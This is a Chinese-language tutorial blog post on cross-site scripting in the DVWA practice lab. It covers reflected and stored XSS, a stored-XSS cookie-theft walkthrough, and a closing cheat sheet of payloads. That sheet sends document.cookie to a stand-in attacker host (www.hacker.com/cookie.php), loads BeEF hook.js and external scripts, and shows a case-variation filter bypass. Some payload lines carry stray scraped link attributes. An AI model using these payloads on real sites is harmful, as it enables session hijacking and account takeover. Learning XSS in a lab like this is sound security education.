天天看点

【DVWA】XSS跨站脚本攻击

【DVWA】XSS跨站脚本攻击

一、什么是XSS?

  • XSS(cross site script)
  • 指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害
  • 一种攻击方式

就比如空间的留言,正常情况下,留言板会把用户留言内容展示出来。一般情况下,留言内容是正常文字,如果留言内容变成XSS脚本,那么浏览器的网页代码就会变化,进而浏览器解析用户输入代码进而形成攻击。

二、有哪些危害呢?

  1. 盗取各类用户帐号。

例如盗取网页浏览中的cookie值:有时候我们在网页浏览中进行用户登陆,登录完毕之后服务器会返回一个cookie值(一个令牌),有了它就证明你是谁,那如果这个信息被盗用时,黑客可以通过它来登陆你的账户(document.cookie获取)

  1. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  2. 劫持流量,插入一条

    <script>window.location.href="http://www..</script>

    就可以自动跳转网站
  3. 网站挂马
  4. 控制受害者机器向其它网站发起攻击等等

总之就是过于信任客户端提交的数据。

三、分类

  • 反射型XSS
  • 存储型XSS
  • 自动化XSS

1.反射型

(1)原理

【DVWA】XSS跨站脚本攻击
  • Reflected XSS - 非持久性跨站点脚本攻击
  • 需要访问特定的链接才能实现
  • 步骤:①我们把我们的恶意脚本通过url的方式传给服务器;②服务器不加处理的把脚本反射回访问者的浏览器执行相应的脚本, 触发漏洞

(2)DVWA实验

①代码:低安全级别

【DVWA】XSS跨站脚本攻击

②执行脚本

  • 正常语句执行结果:
【DVWA】XSS跨站脚本攻击
  • 漏洞利用

    1.弹框警告

<script>alert('world')</script>
           
【DVWA】XSS跨站脚本攻击

2.页面重定向

<script>alert("请移步到我们的新站");location.href="http://www.baidu.com" target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow" </script>
           
【DVWA】XSS跨站脚本攻击

重定向到百度

【DVWA】XSS跨站脚本攻击

2.存储型

(1)原理

【DVWA】XSS跨站脚本攻击
  • stored XSS - 持久型跨站脚本
  • 发生场景:页面被用户打开时执行,能够攻击所有访问此页面的用户
  • 步骤:①用户发送脚本给服务器②服务器收到后处理(例如把信息放到数据库)③再次访问相同页面时,服务器取出恶意代码并返回给浏览器执行(只要访问了此页面的访客,都会执行这段代码)
  • 用户只需访问这个页面而不需访问特定的URL

例如留言板当有人在浏览内容中插入恶意脚本时,服务器会展示内容给所有访客,那么访客会接收到恶意代码并执行,进而遭受攻击。

(2)DVWA实验

1.弹框警告

语句:

T1
 <script>alert('yangge')</script>
           
【DVWA】XSS跨站脚本攻击

只要每次点进这个页面都会有这个弹框,不是一次性的

2.盗用cookie实现无密码登陆

1)代码(构建收集cookie服务器)

【DVWA】XSS跨站脚本攻击

2)向靶机植入XSS代码

【DVWA】XSS跨站脚本攻击
【DVWA】XSS跨站脚本攻击

3)肉鸡访问植入页面的代码

【DVWA】XSS跨站脚本攻击

4)查看收集文件,进行利用

附:XSS脚本

弹框警告:可以证明什么位置存在XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
页面重定向
<script>location.href="http://www.baidu.com" target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow" </script>
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com" target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow"  target="_blank" rel="external nofollow" </script>
访问恶意代码
<script src="http://www.xxx.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie
巧用图片标签
<img src="#" alert('xss')>
<img src="http://BeEF_IP:3000/hook.js"></img>
绕开过滤的脚本
大小写 
<ScrIpt>alert('xss')</SCRipt>
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
//参考:千峰教育